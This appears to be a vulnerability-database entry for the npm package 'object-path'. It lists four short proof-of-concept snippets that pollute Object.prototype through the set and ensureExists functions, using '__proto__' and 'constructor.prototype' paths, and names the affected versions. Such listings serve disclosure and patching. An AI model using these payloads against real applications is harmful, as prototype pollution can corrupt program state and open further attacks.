Access deep object properties using a path
Latest version: 0.11.5
const objectPath = require('object-path');
objectPath.ensureExists({}, '__proto__.a', 'b');
if (({}).a === 'b') console.log('exploitable');
Vulnerable versions: 0.1.2
0.1.3
0.2.0
0.2.1
0.3.0
0.4.0
0.5.0
0.5.1
0.6.0
0.7.0
0.8.0
0.8.1
0.9.0
0.9.1
0.9.2
0.10.0
const objectPath = require('object-path');
objectPath.ensureExists({}, 'constructor.prototype.a', 'b');
if (({}).a === 'b') console.log('exploitable');
Vulnerable versions: 0.1.2
0.1.3
0.2.0
0.2.1
0.3.0
0.4.0
0.5.0
0.5.1
0.6.0
0.7.0
0.8.0
0.8.1
0.9.0
0.9.1
0.9.2
0.10.0
const objectPath = require('object-path');
objectPath.set({}, '__proto__.a', 'b');
if (({}).a === 'b') console.log('exploitable');
Vulnerable versions: 0.0.1
0.1.0
0.1.2
0.1.3
0.2.0
0.2.1
0.3.0
0.4.0
0.5.0
0.5.1
0.6.0
0.7.0
0.8.0
0.8.1
0.9.0
0.9.1
0.9.2
0.10.0
const objectPath = require('object-path');
objectPath.set({}, 'constructor.prototype.a', 'b');
if (({}).a === 'b') console.log('exploitable');
Vulnerable versions: 0.0.1
0.1.0
0.1.2
0.1.3
0.2.0
0.2.1
0.3.0
0.4.0
0.5.0
0.5.1
0.6.0
0.7.0
0.8.0
0.8.1
0.9.0
0.9.1
0.9.2
0.10.0